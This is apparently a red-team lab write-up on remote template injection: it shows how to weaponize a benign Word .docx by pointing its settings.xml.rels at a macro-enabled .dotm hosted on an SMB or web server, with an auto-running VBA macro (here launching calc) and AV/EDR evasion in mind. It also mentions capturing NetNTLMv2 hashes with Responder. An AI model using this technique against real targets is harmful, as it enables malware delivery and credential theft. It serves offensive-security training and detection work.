Inject Macros from a Remote Dotm Template

This lab shows how it is possible to add a macros payload to a docx file indirectly, which has a good chance of evading some AVs/EDRs.

This technique works in the following way:

  1. A malicious macro is saved in a Word template .dotm file

  2. Benign .docx file is created based on one of the default MS Word Document templates

  3. Document from step 2 is saved as .docx

  4. Document from step 3 is renamed to .zip

  5. Document from step 4 gets unzipped

  6. .\word_rels\settings.xml.rels contains a reference to the template file. That reference gets replaced with a refernce to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb).

  7. File gets zipped back up again and renamed to .docx

  8. Done

Weaponization

Alt+F8 to enter Dev mode where we can edit Macros, select ThisDocument and paste in:

Doc3.dotm
Sub Document_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc"
End Sub

Create a benign .docx file based on one of the provided templates and save it as .docx:

Rename legit.docx to legit.zip:

Unzip the archive and edit word_rels\settings.xml.rels:

word_rels\settings.xml.rels
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>

Note it has the target template specified here:

Upload the template created previously Doc3.dot to an SMB server (note that the file could be hosted on a web server also!).

Update word_rels\settings.xml.rels to point to Doc3.dotm:

Zip all the files of legit archive and name it back to .docx - we now have a weaponized document:

Note that this technique could be used to steal NetNTLMv2 hashes since the target system is connecting to the attacking system - a responder can be listening there.

References